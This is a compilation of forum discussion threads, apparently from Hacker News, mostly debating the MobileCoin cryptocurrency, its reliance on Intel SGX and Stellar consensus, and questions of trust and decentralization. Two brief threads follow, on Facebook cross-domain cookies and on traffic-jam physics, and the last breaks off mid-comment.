MobileCoin: A New Cryptocurrency from Moxie Marlinspike - <AUTHOR> https://www.wired.com/story/mobilecoin-cryptocurrency/ <comment><USER4> To repeat an earlier comment, this scheme encourages a centralization of trust into a private key managed by processor manufacturers. You might say that by integrating SGX mechanisms into your security model, you create a set of 'feudal lords' [1] who can wield their power over you.

A manufacturer may 'legitimately' establish an enclave in your most trusted hardware which you may not audit or even measure. And if that security model becomes commonplace, for example when only allowing Widevine DRM inside SGX, you eventually cannot use your self-chosen hardware, but will have to pick a feudal lord from a limited set of 'ecosystem choices'.

[1] [https://www.schneier.com/blog/archives/2013/06/more_on_feuda...](https://www.schneier.com/blog/archives/2013/06/more_on_feudal.html)

<comment><USER5> I still think it's an interesting approach. If you want to be more efficient and less wasteful than Bitcoin, at some point trust has to come into play. And reducing your trust to the manufacturers of secure enclaves (whose products can also be audited to a degree) is surely an improvement still, even if it doesn't have the radical threat model of conventional cryptocurrencies (which inevitably run into scaling problems because it mostly requires proof-of- work).

Also, the article mentions the de facto centralization of trust in the current cryptocurrency ecosystem - so pragmatically, it's not much better there. From centralized exchanges, to centralized mining cartels, what does something like Bitcoin have left to offer?

<comment><USER6> > From centralized exchanges, to centralized mining cartels, what does > something like Bitcoin have left to offer?

I'd say you're being overdramatic here. Mining is still decentralised and if there are any mining cartels, they haven't abused their position yet. It's still possible to buy, sell and spend Bitcoin peer to peer as well.

<comment><USER7> > I'd say you're being overdramatic here. Mining is still decentralised

Controlled by a handful of people is absolutely not decentralized.

They have abused their power. Ghash double spends. Segwit blocked for a year. Bitcoin cash proxy support.

<comment><USER8> I think part of the reason Segwit2x failed is that, ultimately, mining wasn't as centralized as everyone assumed. Its proponents had the backing of the major mining pools who controlled the vast majority of the mining power - <USER2> so they thought - but it turned out enough of the actual miners had views too and were happy to switch pools to express them that it suddenly looked a lot more precarious than expected.

</comment></comment></comment></comment></comment><comment><USER9> > "Nobody actually transacts in cryptocurrency," Goldbard says. "So making > something that people can actually use is our first goal. And then we want > to find additional ways that people can implement it over time. But > initially all we want is to make it so people can actually complete > transactions."

Amen. Too few projects have this focus.

<comment><USER10> This is secondary to there being no benefit to the average user for transacting in crypto vs Visa. What incentive is there for an end user to use even a hypothetically optimal crypto system? Then is that incentive sufficient to overcome network effects?

The appropriate and interesting applications of crypto seem to be totally leaving p2p cash behind - it just doesn't seem like a good fit.

<comment><USER9> The hypothetically optimal crypto system would be cheaper for merchants, correct? So it would have wider adoption than Visa, at the very least.

I do agree that crypto keeps drifting away from p2p cash ... that's a good observation. But I hope people keep shooting at that target.

<comment><USER11> > The hypothetically optimal crypto system would be cheaper for merchants

Incorrect. Decentralization is always more expensive and slower than centralized system(both hypothetically optimal) due to extra sync cost.

<comment><USER12> You're mixing cost and price. Let's say the cost of a Visa transaction is 0.1% and the price is 2.5% while the cost and price of a MobileCoin transaction are 0.2%. It costs more but it's still cheaper for merchants.

<comment><USER10> Cash is cheaper for merchants, but people have only continued to use credit cards more. Further, if crypto becomes attractive from a cost perspective Visa will just be forced to bring down fees and stay competitive. It's pretty near impossible to imagine crypto with costs less than Visa's database.

<comment><USER13> A wire transfer fee to China would cost me ~$45. Sending it in bitcoin would cost ~$17.

<comment><USER14> How much was the exchange difference?

<comment><USER13> No idea. I just went into the bank and said I needed to send money to China.

</comment></comment></comment></comment></comment></comment></comment></comment></comment><comment><USER15> Using Stellar's Federated Byzantine Agreement as a basis for consensus is a solid foundation.

David Mazières' paper[0] displays strong insights and proofs into the structure of byzantine systems with open membership.

[0]: [https://www.stellar.org/papers/stellar-consensus- protocol.pd...](https://www.stellar.org/papers/stellar-consensus-protocol.pdf)

I wonder where the code for MobileCoin is, or when it will get open-sourced. All GitHub yields currently is this clearly non-affiliated project: [https://github.com/mobilecoind/mobilecoin](https://github.com/mobilecoind/mobilecoin).

<comment><USER16> I'm not sure I understand correctly, but from what I got, Stellar is a distributed ledger, but not a currency. There are no coins as such. But the upside is that the consensus is reached without a taxing algorithm.

Everyone can run a node, but the whole system is not itself decentralised, because you need "anchors", which are banks or payment processors, to get your money in and out of the system.

So then, what is the point of the decentralised ledger? GNU Taler seems like a more simple solution.

<comment><USER12> _you need "anchors", which are banks or payment processors, to get your money in and out of the system._

You also need exchanges for cryptocurrency[1], so why not admit it from day one and build that concept into the system?

And maybe it's possible to graft a cryptocurrency onto SCP by using consensus to choose nodes which receive freshly "mined" currency.

[1] The mythical closed-loop Bitcoin economy ain't going to happen.

<comment><USER17> Then why have a decentralized solution at all? Why not just make it like Paypal?

</comment></comment></comment></comment><comment> TD-Linux This coin uses Stellar, which is not a decentralized consensus like Bitcoin, but rather federated. It's not really surprising that it has performance advantages.

Also not sure how I feel trusting the fate of a cryptocurrency to the strength of Intel's SGX.

<comment><USER18> "MobileCoin does not rely solely on SGX for maintaining transaction privacy. Transactions are designed to employ CryptoNote1 one-time addresses and onetime ring signatures, so MobileCoin will still maintain transaction privacy through unlinkable addresses if an attacker is able to defeat SGX and view transactions on the network."

[https://www.mobilecoin.com/whitepaper- en.pdf](https://www.mobilecoin.com/whitepaper-en.pdf)

Other than that, i very much share your concern..

<comment><USER19> Interesting. So it has the same privacy protections as Monero, the only cryptocurrency with a track record of being untraceable so far?

I wonder if the Stellar network is "leakier" than a decentralized network would be, though.

<comment><USER20> >>So it has the same privacy protections as Monero, the only cryptocurrency with a track record of being untraceable so far?

I wouldn't call Monero "untraceable" even though I am a very big fan of XMR. It takes work to put a lot of steps between you and the payee at more levels than simply the transactional one.

<comment><USER21> How do you mean? Why would you need to, if the payment is untraceable? Are you talking about what happens after you purchase something?

</comment></comment></comment></comment></comment><comment><USER22> > "9\. Bob's MobileCoin node sends Bob's client a message, which can then > calculate the private key that corresponds to the generated one-time public > key."

>" 10\. Bob has now successfully received a payment."

If I'm reading this correctly, Bob's client (e.g. mobile app) must be in contact with the node for his address to receive the payment. This is pretty different from what I think will be Mobilecoin's closest competitors (at least from a UX standpoint), Venmo, Google Wallet, etc.

DDOSing Bob's mobile device or otherwise preventing access to the node would, at least temporarily, prevent the transaction from going through. Are the funds in purgatory during that period? If that client never gets in contact with the node, does the transaction ever get reversed, allowing the sender to regain control of the funds?

There are probably a host of other repercussions I haven't thought through yet. The idea of a cryptocoin as easy to use as Venmo/Signal is definitely intriguing.

<comment><USER23> how is the need to be in contact with the node different than the need to be in contact with venmo's servers?

<comment><USER24> It's different because regardless if your node is online or not, venmo's servers can still accept payments on your behalf, and it's presumed that taking venmo's servers offline would be considerably harder than taking yours offline.

</comment></comment></comment><comment><USER25> 1) Both Kin and MobileCoin have moved to Stellar as their back end this week. I haven't paid Stellar much attention before. Anyone have any good links that explains Stellar and/or discusses the technical pros/cons? Trying to avoid any shill/pump or baseless FUD.

2) Am I correct that if any vulnerability were found in the SGX, an attacker would gain access to the encrypted private keys that are stored on a server node and would just need to brute force the PIN?

<comment><USER26> Here is a link to the blog post when the Stellar Consensus Protocol was released. It includes a summary in Stellar's own words and a link to the white paper: [https://www.stellar.org/blog/stellar-consensus-protocol- proo...](https://www.stellar.org/blog/stellar-consensus-protocol-proof-code/)

</comment></comment><comment><USER27> The title here says "A new Cryptocurrency from Moxie Marlinspike."

But the article describes his involvement as "Marlinspike has been working on as a technical advisor."

Those two descriptions sound different.

<comment><USER12> That's just "meritocracy" in action. The founder of a project gets all the credit for it, and when there are multiple founders the most famous one gets all the credit.

<comment><USER28> He is not even a cofounder according to their website. They just picked out whoever is most famous.

</comment></comment></comment><comment><USER29> I think this is going in the right direction. You take a bunch of tamper-proof hardware devices from different manufacturers and then model attack costs to compromise them as part of a proof-of-stake scheme. Now you can build consensus algorithms on top of them that are highly secure and scalable compared to anything that exists today.

I'm not convinced that Stellar consensus here is the right algorithm for doing this, but I think SGX is promising technology that has been somewhat overlooked in the blockchain space (not by everyone.) SGX has a lot of potential. You can use SGX as a way to expand the consensus rules of any blockchain by using it as a blackbox obfuscation construct. Everything and more that Vitalik wrote in his article about Indistinguishability Obfuscation is possible with SGX today.

Want to create a specialized oracle that only signs certain transaction formats, even on untrusted hosts? Yep - use SGX. Now you can have agents that run in a cluster that will only move assets between blockchains based on a user's prior agreements, allowing for more complex cross-blockchain smart contracts to be written in high-level languages. What about having a nice way to do transaction commitments to scale any blockchain without having GB zero- knowledge proofs? SGX again. It could be used for privacy preserving protocols... It could be used for solving data availability problems in sharding / decentralized storage systems. The list goes on.

Some of the biggest trust problems are solvable with this technology - <USER3> like others have already said - you still have to trust the hardware manufacturer. In this case, my thoughts are that you already have to trust the hardware manufacturer anyway (nobody is going to inspect every chip with an electron microscope...) My bet is that a non-trivial portion of full nodes today are already running chips with backdoors like the Intel Management Engine anyway...

The point here is that you can't fully remove trust from any system without introducing vast inefficiencies, but you can at least formalize the risks in a system and design so that a compromise is too expensive to be worthwhile, and for me I think that's where the potential lies with this tech. Cryptoeconomic systems based on tamper-proof hardware where individually a component may be compromised, but where it is simply infeasible to compromise each and every device. You build a network out of these components and you have yourself the first on-chain scalable blockchain bound by physical hardware encumberments instead of computational difficulty.

<comment><USER30> You know it was hard enough for PayTV smart card developers to keep transistor level reverse engineers from getting inside their chips, and all that was at stake then was $35 content subscriptions. I can't imagine how putting personal banking inside SGX will fare. Or, I acknowledge I am probably missing something. Am i?

<comment><USER31> It wasn't that hard and the stakes were much higher than that. Individual subscriptions could be much more, but the entire black market of glitching units was an industry worth many hundreds of millions of dollars.

Ultimately DirecTV was able to kill pay TV hacking by simply introducing a new generation of cards that were better protected, the P4 series iirc. Other pay TV firms invested less and were mostly undermined by just one guy (Tarnovsky) - not exactly an army of reverse engineers.

The weak points in SGX security aren't the electronics themselves. So far all attacks on it are side channel based.

<comment><USER30> Tarnovsky wasn't the only key. There was also a single minded team of former intelligence investigators spread around the world coercing and infiltrating, on top of a smartcard dev team packed with most of moscows mathematics prize winners, in addition to another red team in haifa with their own tarnovsky's. I speak from first hand knowledge because in my younger and more naive years I used to worked with them.

Still, the analogy applies because the stakes with a cryptocurrency that depends on transistor security become a much more interesting target then the, now boring++, paytv market. It should not be assumed that any secrets will stay inside of that secure enclave, at all.

++it's boring to hack paytv because streaming, downloads and card sharing removed a large bulk share of the need

</comment></comment></comment></comment><comment><USER32> Here is a year old paper from Imperial College and Cornell where they implemented trustless transactions using Intel SGX.

[https://www.cs.cornell.edu/people/egs/papers/teechan.pdf](https://www.cs.cornell.edu/people/egs/papers/teechan.pdf)

<comment><USER33> This is significantly stronger and harder than what that paper suggested

<comment><USER34> In what way? I mean this (Mobile Coin) is almost the very definition of vapourware. A 4 page whitepaper, come on.

<comment><USER18> Yes i also find this high school level white paper pretty weird. Also no roadmap, no github, only 3 person team.

But Moxie Marlinspike though...

</comment></comment></comment></comment><comment><USER35> I feel like the real appeal of Bitcoin is the decentralized aspect. I am not totally intrigued at the idea of having a controlled system, even if it offers complete privacy and faster transaction speed.

<comment><USER36> If it works like Stellar (which it sounds like it does), it's still a decentralized network of nodes, but each individual user isn't a node. They pick a node to work with, and that node is then connected to a set of other nodes. Anyone _can_ run a node, but there's just not any point to it for most users.

<comment><USER37> How is that better or different from Bitcoin users trusting CoinBase?

<comment><USER36> You can't just spin up your own CoinBase if you don't trust coinbase.com. I mean, it's BitCoin, so you can run your own transactions, but you can't do any of the other stuff CoinBase does.

But with Stellar or something based on its consensus protocol, you can run your own node if you want, or more likely, a bunch of public nodes can exist and you can pick the one you trust to work with. For example, if banks decide to start working with MobileCoin, then Chase could offer a node and, as a Chase customer, you could decide to trust their node (since you already trust them to manage your money) and use that one.

<comment><USER37> > you can run your own node if you want, or more likely, a bunch of public > nodes can exist and you can pick the one you trust to work with

Still not getting it. If I don't trust CoinBase, I can go to any other online wallet that manages my private keys. With some effort, I can even start one myself. If Chase is running such a wallet, I can use them.

How is a decentralized protocol not a superset of a "federated" one?

<comment><USER38> Every node in Ripple or Stellar works with the same global state. You have to trust Coinbase not to run away with your money, but your Stellar node cannot. The consensus system is more like a replacement for proof of work, ensuring that no one double spends.

</comment></comment></comment></comment></comment></comment><comment><USER39> Would someone close to this project be able to explain why the node operator wouldn't have direct access to user's keys in the event of an SGX exploit? The whitepaper only briefly delves into transaction privacy protections, but not key management.

</comment><comment><USER40> Wow. MM is really going all-in on for Software Guard Extensions (secure enclave) on the server.

What does HN say? Do we trust Intel (motivation and implementation) that much?

<comment><USER41> Any remote-attestation scheme is theoretically vulnerable to attacks where the CPU manufacturer includes backdoors in the processor hardware (either deliberately, accidentally, or under compulsion from a third party).

Intel's implementation is considerably worse than that. Even if you assume the hardware itself isn't compromised, every remote attestation has to go through the "Intel Attestation Service" which has _no end-to-end protection._ The IAS is what actually validates the enclave's signature, and it returns a "success" or "failure" message which is signed with an Intel key. But there's absolutely no technical measure that prevents Intel from being compelled to sign a falsified response; a client would have no way of telling the difference.

This is documented by Intel [1] and I'm hardly the first to notice it [2] but people still seem to talk about SGX as if compromising it is equivalent to backdooring the CPU, which is inaccurate.

[1]: [https://software.intel.com/en-us/articles/intel-software- gua...](https://software.intel.com/en-us/articles/intel-software-guard- extensions-remote-attestation-end-to-end-example#msg3)

[2]: [https://www.blackhat.com/docs/us-17/thursday/us-17-Swami- SGX...](https://www.blackhat.com/docs/us-17/thursday/us-17-Swami-SGX-Remote- Attestation-Is-Not-Sufficient-wp.pdf)

<comment><USER42> So you can not start running any code session on the SGX at ALL without this Remote Attestation call to Intel? That seems silly, considering the SGX has two 128 bit keys on board (one known to Intel, and one known only to the SGX).

<comment><USER41> Oh, it's not quite that bad. You can run SGX code and work with encrypted data, including generating attestation messages. It's just that there's no way to verify those attestation messages yourself; you have to ask Intel to do it.

It's also worth noting that SGX can run in two modes. There's "debug mode", which provides absolutely no security because a debugger has complete access to the state of the enclave. And then there's "release mode", which requires a key that you can only obtain by signing a commercial agreement and NDA with Intel.

<comment><USER19> Why the hell would Intel require an _NDA_ to give you the private key?

That's shady af.

<comment><USER31> It's not actually an NDA (I've signed it). You have to agree to not use SGX to make un-debuggable malware.

</comment></comment></comment></comment></comment></comment><comment><USER43> I'm probably going to pay this a lot more attention now than I would have purely because I find Moxie really quite impressive all the way up to his patient, reasoned interactions with people around here.

</comment><comment><USER20> MobileCoin is backed by XLM/Stellar, which is not decentralized, and so I feel I should note here that I signed up during Stripe's giveaway of Stellar Lumens years ago - and I did indeed get my wallet credited.

[https://stripe.com/blog/stellar](https://stripe.com/blog/stellar)

I was given 6000 XLM and I left it in their official wallet for years. On May 12th, 2017 I wrote them an email asking why my wallet, now converted to some newer official wallet, was empty. I did not receive a reply for 2 months, at which point I followed up and received a reply within a day, which was:

 _" I have investigated your account and it looks like an account merge operation occurred some time ago merging your lumens with another account. If you did not commit this action, it could be possible that someone was able to obtain your account information.

You can see the merge operation here: [https://horizon.stellar.org/accounts/GD2CPSK2E3TUNC2N5NGGQJQ...](https://horizon.stellar.org/accounts/GD2CPSK2E3TUNC2N5NGGQJQYOHJNFW42YZ55MPQKPQ5BGI2ZPD72G3H3/operations)

Unfortunately there is nothing we can do to retrieve your lumens at this point.

Apologies we cannot be of further help."_

I have pretty damn good security of my various accounts using hardware 2FA and such, and I also transact in cryptocurrency and have wallets with far more fiat value in them than 6000 XLM had at the time ($120-150 USD if I recall), with absolutely no issue - and I hadn't even logged into their official wallet. The developers were 100% quick to blame this merge on me. I replied with a flat: "I highly doubt you are correct that it is my fault" email and it went back and forth with them asking the basic "well, did you get spearphished somehow" as if anyone even knew what XLM were or cared.

The process dragged on for a month while I bothered people in their Slack channel since email communication dropped out and they finally came back with:

 _" Our team has investigated and checked for multiple different types of issues and have not found anything on our end that shows any type of security compromise in our system.

Unfortunately this means at this moment I do not have a concrete answer to how your account was compromised. I'll follow up again to check if there is anything on your end they would recommend you do."_

I investigated on my own and found a number of accounts who were "hacked" and sent XLM coins to the wallet that I had merged with, all that just kind of sat there, indicating a software error on their end of a bunch of accounts that were randomly emptied. I provided all documentation to their team and spent a solid 15-20 hours doing so.

Their response to all of this bug bounty-type work?

 _" They have identified one potential issue in the past that affected only a small number of accounts, possibly yours. This bug was fixed once discovered back in 2014, but users who may have been vulnerable to the bug were still impacted during the upgrade process to the new network even after it was resolved.

Although we think this was the cause of what happened, we cannot be 100% sure if this was what impacted your account considering you had a strong password and none of your other accounts were compromised."_

And:

 _" Although we cannot recover you original lumens from your account, we'd like to award you 3000 lumens as part of our Bug Bounty Program because you have helped us in identifying a possible issue that happened in the past."_

So they basically gave me half the XLM back instead of the full amount despite it being entirely their fault and them having no idea how to investigate while I exposed a serious flaw in how XLM were assigned and paid to their wallets, all while blaming me the entire time and with atrociously slow customer response times.

Forgive me if I'm not the biggest XLM/Stellar Lumens fan; their team is both terrible at support and suggests that at least their frontline investigators are technically incompetent since they couldn't figure out the merge situation before I did with simple API poking around and enumerating.

<comment><USER44> You are complaining about receiving _free_ money, but not caring about it until the price went up recently. How is this even remotely Stellar's issue?

<comment><USER20> >>You are complaining about receiving free money

Aside from the fact that this is a terrible line of argumentation ("Person A gave you $100 and then Person B later stole it out of your house, what's your problem with that?"), that is not the point of my comment at all. I suggest you read a bit more specifically in regards to service, transactional security, and the fact that the coin is federated and not decentralized.

<comment><USER44> You didn't even realise for a long time that you lost access to it. It's like me remembering that I had some BTC, but can't access them anymore and blaming Bitcoin developers for not getting rich.

Stellar not being decentralised, even 90% of nodes are not run by the SDF, makes it somehow unsecure? If you have some specific complaint about the security point it out, instead you are just ranting on an anecdote.

<comment><USER20> >>If you have some specific complaint about the security point it out

I did, in the post. I'm not sure why you are making a big deal about the money I lost. I am certainly not. It is about the mechanism by which it happened and how they didn't take it very seriously.

EDIT: I am also not even sure to this day what the value of XLM is, and don't particularly care. I gather from your post that it has gone up. Congratulations. I think XLM's architecture and use case makes a lot of sense. I also think their developers and support team are quite poor. That is the intent of my post.

</comment></comment></comment></comment></comment><comment><USER45> Isn't SGX not so secure ? [1]

Specifically this claim

"In a semi-synchronous attack, we extract 96% of an RSA private key from a single trace. We extract the full RSA private key in an automated attack from 11 traces within 5 minutes."

[1] [https://www.schneier.com/blog/archives/2017/03/using_intels_...](https://www.schneier.com/blog/archives/2017/03/using_intels_sg.html)

<comment><USER34> It's vulnerable to side-channel attacks, like a lot of trusted hardware. The challenge with trusted hardware is you have a much stronger threat model than a lot of previous work on side-channel attacks, in that instead of having to protect against remote or local unprivileged software attacks, you now have to guard against a local privileged attacker (e.g. a malicious OS or hypervisor), or potentially even someone with physical access. Having said that it is possible to design software in such a way as to be resistant to many side- channel attacks (albeit with a lot of effort and a performance hit) and I imagine future generations of SGX could add hardware protection against the most egregious channels. Of course if you have enough money/time it will always be possible, the question is whether an SGX based blockchain can be designed in such a way as to make it not worth the effort.

</comment></comment><comment><USER46> Anyone got a link to the project's website? I'd like to read an actual technical description. Anything MM is involved in is gold in my book.

<comment><USER9> site: [https://www.mobilecoin.com/](https://www.mobilecoin.com/)

whitepaper: [https://www.mobilecoin.com/whitepaper- en.pdf](https://www.mobilecoin.com/whitepaper-en.pdf)

<comment><USER46> Thanks, strange Google didn't bring that up.

<comment><USER9> Yea I saw that. I think they just put the site up and hasn't been indexed yet.

</comment></comment></comment></comment><comment><USER47> Stellar is run by a set of trusted third parties, which makes it permissioned. If it gains any sort of traction, it will undoubtedly come under the control of any number of governments, thus negating the "peer-to-peer" part of cryptocurrency, and making usage conditioned on approval from some set of intermediaries.

<comment><USER48> It's not run by "a set of trusted third parties".

It's run by SETS of trusted third parties, where each individual node specifies what set of nodes it trusts to not collude against it.

You don't need any ones permission to run a node, but it _is_ up to other nodes if they want to trust _you_

<comment><USER47> If your set is not the same as everyone else's set, you risk being forked off. Trusted third party based schemes have a tendency toward centralization, making them less resilient than ones based on cryptoeconomic incentives. Inevitability it will mean TTP based ledgers will be permissioned, with the TTPs acting as gatekeepers, rather than p2p.

This isn't just theoretical either. Stellar has co-authored a paper arguing for regulations against anonymous cryptocurrencies:

[http://www.lhoft.com/assets/uploads/images/WhitePaper_LHoFT_...](http://www.lhoft.com/assets/uploads/images/WhitePaper_LHoFT_Stellar_2017_A_04.10.compressed.pdf#asset:216)

It's clear that it's positioning itself as a gatekeeper-based ledger that stays on the good side of regulatory agencies.

</comment></comment></comment><comment><USER49> A bit ironic that MobileCoin is targeting x86_64 and SGX seeing that the vast majority of mobile devices run ARM. I wonder how easy this would be to port to the ARM trustzone?

<comment><USER50> ARM Trustzone doesn't do anything related to remote attestation, which I'm guessing this thing is all about (even if the article doesn't seem to mention it). So I'll claim it is impossible.

Edit: You could still check the signatures signed by the trusted Intel CPUs on your ARM device of course, but any mining would have to happen on a SGX- enabled Intel CPU. (Or anything else with Intel's private key.)

</comment></comment><comment><USER51> > The currency is designed to utilize an Intel processor component known as > Software Guard Extensions, or a "secure enclave."

Binding yourself to an implementation like this seems like mega big centralization. There's several decentralized coins that could solve some of these same problems.

</comment><comment><USER52> I'm not sure using Stellar is wise as the majority is owned by a small group of people, much smaller than Bitcoin, which creates conflict of interest and not future SEC proof.

on a side rant: So...many...coins...I too have something called BrowserCoin.com but still haven't figured out what problems to solve. Too many people just go implement a pseudo-academic blockchain tech with fancy dials without vetting the problem.... _virtually zero adoption_ other than from pumpers and owner...that is something I'd like to avoid altogether, for once some cryptocurrency based business that delivers and benefits people who don't need to expensive rigs to mine or jack resources (browser based blockchains etc).

<comment><USER53> I don't know you, but... I have an idea for BrowserCoin.com -- a marketplace for ads where users are paid to try a product. They receive a coin payment when they use a product for a certain period of time. Don't bother decentralizing -- keep tabs on who is paid, to avoid bots stealing payments with fake usage. Let me know if you like that, my email is in my profile.

</comment></comment><comment><USER54> With Moxie, I have to wonder what the endgame is for this?

After reading this, currency doesn't seem to jive with his persona:

[https://moxie.org/stories/money-machine/](https://moxie.org/stories/money- machine/)

</comment><comment><USER55> How is the value of a coin created if there's no miner or exchange, does it have a fix fiat price? Would you buy the coins with real cash?

</comment><comment><USER56> So, it's using DRM to hide the blockchain, is that right?

<comment><USER57> So if the coin's market cap were higher than Intel's, you could buy Intel and use the SGX master keys to establish rogue nodes and take over the network.

In fact this is no better at all than if Intel were simply running the MobileCoin service as a centralized provider/bank.

<comment><USER56> Buying Intel is not that simple and would be disclosed far in advance of the actual purchase.

</comment></comment></comment><comment><USER58> Surely I'm reading this wrong. Does the whole thing depend on users trusting that the nodes run the correct software, which uses these "enclaves" to hide private data from itself?

<comment><USER12> The nodes can prove that they are running the correct software using SGX.

<comment><USER58> I'm not sure what this means. Supposing I'm a node that runs the correct software as well as some incorrect software. I prove (however this works) using SGX that I'm running the correct software. You send me the data and I run it through the incorrect software.

I imagine my ignorance of SGX has something to do with this. Is there a 101 link somewhere?

<comment><USER31> As betterunix says, the way you do it is that the signed data structure proving what software you're running can contain a public key, for which the private key exists only in the enclave. So you can then encrypt secrets that are readable only in the enclave.

</comment></comment></comment></comment><comment><USER59> Wow, what an impressive move.

I don't trust Moxie ever since he argued that Signal will not be a decentralized network due to the technological complexity (just BS as Matrix, XMPP and other have shown). While I suspected that he had other plans in mind, I didn't see that coming.

Using your wide spread chat app to deploy a global payment system. Just wow. If he will pull that off, Elon Musk gets competition for the title 'Innovator of the Century'.

</comment><comment><USER44> Great to see more cryptocurrency adopting Stellar's Consensus Protocol. Decentralisation and scalability without the environmental impact of proof of work.

<comment><USER47> Stellar is not decentralized. It is federated, meaning a number of trusted third parties act as the intermediary, and eventually, will become the gatekeepers as governments deputize them to enforce their respective laws (e.g. capital controls in China).

<comment><USER44> Like if 90% of mining power owned by 2 companies makes something more decentralised. I would argue that the Stellar Consensus Protocol is more resilient to centralisation than any proof of work one.

<comment><USER47> Manufacturing GPUs doesn't give a company control over how the buyers use the GPUs. GPUs are by market necessity general-purpose. And all of the full nodes in a decentralized cryptocurrency network like Ethereum will validate the blocks generated by the miners.

</comment></comment></comment></comment><comment><USER60> It's cryptocurrency secured by DRM.

</comment><comment><USER61> An no word about price volatility? Even if btc were scalable it is unusable for commerce. Pegging to fiat should be #1 goal of a new blockchain that wants to solve problem. All others arejust sophisticated gambling platforms.

</comment><comment><USER62> The Request Network may beat them to it, in terms of making crypto accessible, since it aims to provide a paypal-like, currency agnostic portal for payments. But I still like the project, and will follow it closely.

</comment><comment><USER5> While yet another cryptocurrency doesn't sound so good, I think Moxie has at least proven himself enough with Signal (in terms of being pragmatic about usability while trying to get the maximum amount of security and privacy for users) that this sounds promising.

I'm also happy to see a currency with Byzantine agreement without proof-of- work being explored. While this may not satisfy the extreme threat model of Bitcoin etc., I'm not really convinced that this is even needed at all. (Not to mention that Bitcoin has failed as a currency anyway.)

</comment><comment><USER63> A decentralized currency brought to you by Moxie "Signal doesn't federate or allow third-party clients" Marlinspike. OK.

<comment><USER64> He used to federate, he said he reckons he lost a year of development in the attempt.

His argument is federation makes change difficult - and a private company can centralise the protocol (like Slack or WhatsApp) leading to a better user experience because they're not tied to getting everyone to agree to a change.

You can read his arguments here:

[https://signal.org/blog/the-ecosystem-is- moving/](https://signal.org/blog/the-ecosystem-is-moving/)

and here:

[https://github.com/LibreSignal/LibreSignal/issues/37#issueco...](https://github.com/LibreSignal/LibreSignal/issues/37#issuecomment-217231557)

</comment></comment><comment><USER65> I have a few questions: (1) When can we start using this? (2) How will you acquire the currency?

I think #2 is the pain point, and I didn't see this addressed in the whitepaper. Most people talk about Bitcoin's transaction speeds, but Litecoin works incredibly well for doing transactions. The difficulty for a normal person is acquiring it. You need something like GDAX.

<comment><USER66> Litecoin is maybe 2-4x better, but still far from Visa's transaction capacity unless the lightning network does fantastically well.

</comment></comment><comment><USER67> Sounds pretty similar to Dash with the nodes, doesn't it?

Dash has been doing quite well recently... so it mustn't be a terrible idea.

<comment><USER68> It's a great idea for making money.

It's a terrible idea for a currency.

</comment></comment><comment><USER69> The private key is stored on the node. Haha big fail. That's not what decentralized blockchains are about.

</comment><comment><USER9> How might this project grow out of its dependence on Intel hardware over time?

<comment><USER70> Like most other tulip breeds, the craze over their creation will turn to sudden death before the practical concerns they raise need to be considered.

</comment></comment><comment><USER71> > Visa currently processes about 3,674 transactions per second

weird I assumed it was more. It's still 300M a day or 100bn/yr but still.

</comment><comment><USER72> Stupidly bad design - storing other people's private keys in a protected memory region. This is as good as entrusting a safe with your money to a thief, thinking that the guy will be unable to open it.

Marlinspike, yet again, flops face down with his credibility as a crypto researcher.

Remember his his angry letter about silent key renegotiation hole in Facebook messenger

</comment><comment><USER73> Will I have to give a mobile phone number to use this cryptocurrency?

</comment><comment><USER74> I was just thinking we need a few more of these.

</comment><comment><USER75> What degree of privacy can it actually offer?

</comment><comment><USER76> This hardware requirement will slow adoption

</comment><comment><USER77> Where can I invest in this?

</comment><comment><USER78> Can you already mine this?

</comment><comment><USER79> [https://us.teamblind.com/article/ama-round-2-i-manage-a- mult...](https://us.teamblind.com/article/ama-round-2-i-manage-a-multi- million-crypto-portfolio-vQBqRpmR) I think this post about managing a multi- million crypto portfolio can really relate. I think it still is difficult for the average person to understand, but this is a really great discussion going on.

</comment><comment><USER42> Anyone have any links to read more about SGX? What's stopping someone from intercepting everything going down their and just doing the operations on their own while watching?

<comment><USER80> Essentially, the CPU has a private key. Using the corresponding public key you can send code to the CPU to execute and the CPU prevents even the OS from looking at the decrypted code. You can also check the signature of the CPU against a public Intel key to verify it is indeed an Intel CPU you are sending code to.

<comment><USER42> Ah I see. I'm seeing that you have 2 128-bit private keys on the enclave, one known to Intel and what that is not.

Can you not use the one not known to intel to do your own code signing against another client with ECDH? Why does it seem like they are pushing this "Intel Attestation" service? Wouldn't that cause Intel servers to be a single POF incase they aren't around to give a proper reply for the attestation request? (Imagine 100,000 nodes on the network all running smart contracts, or perhaps 10 years down the line they discontinue the service.)

<comment><USER31> IAS isn't technically a requirement of SGX. But if you want the ability to revoke hardware that is found to be compromised, someone needs to have that list and check against it.

I believe the plan is for IAS to be optional in future. It might already be, but then you have to implement the signature checking logic yourself. EPID is quite a complex signature scheme and you'd also need to find out from Intel which microcode/platform versions are revoked, etc. So IAS is more of a convenience than anything else.</comment></comment></comment></comment>


How Facebook sets and uses cross-domain cookies - <AUTHOR> http://nfriedly.com/techblog/2010/08/how-facebook-sets-and-uses-cross-domain-cookies/

<comment><AUTHOR> Most of the iframe-cookies issues are due to Safari refusing to set cookies in iframes unless the user has "interacted" with the site in the iframe. Even then Safari still likes to block JavaScript.</comment>


The Physics Behind Traffic Jams - <AUTHOR> http://www.smartmotorist.com/traffic-and-safety-guideline/traffic-jams.html <comment><USER2> >"It was dusk, the headlights were on, and I was going down a long hill to the bridges. I had a view of miles of highway behind me. In the other lane I could see maybe five of the traffic stop-waves. But in the lane behind me, for miles, TOTALLY UNIFORM DISTRIBUTION. I hadn't realized it, but by driving at the average speed, my car had been "eating" traffic waves. Everyone ahead of me was caught in the stop/go cycle, while everyone behind me was forced to go at a nice smooth 35MPH or so. My single tiny car had erased miles and miles of stop-and-go traffic. Just one single "lubricant atom" had a profound effect on the turbulent particle flow within the "tube.""

When I try this, most other people have no idea what I'm doing and/or are stupidly greedy and go "OMG A GAP" and rush into it. I'll also typically have people behind me honking / flashing their headlights at me, as they're equally clueless. I've had one dude and his wife, in a Harley Davidson edition F150 actually roll down their window and scream at me for "not knowing how to drive".

I drive a 6spd stick too, so the stop/go is even more painful. I try to be that "lubricating atom" both for my sanity and to ease the jam, but the collective inability of other drivers to think beyond "OMG MAKE AS MUCH PROGRESS AS SOON AS I CAN" greatly inhibits my efforts.

TL;DR traffic jams are caused because people are greedy and short-sighted in their greed. It's not really different from all of the other big problems with humanity.

<comment><USER3> I beg to differ, and that's a criticism I also have for the OP:

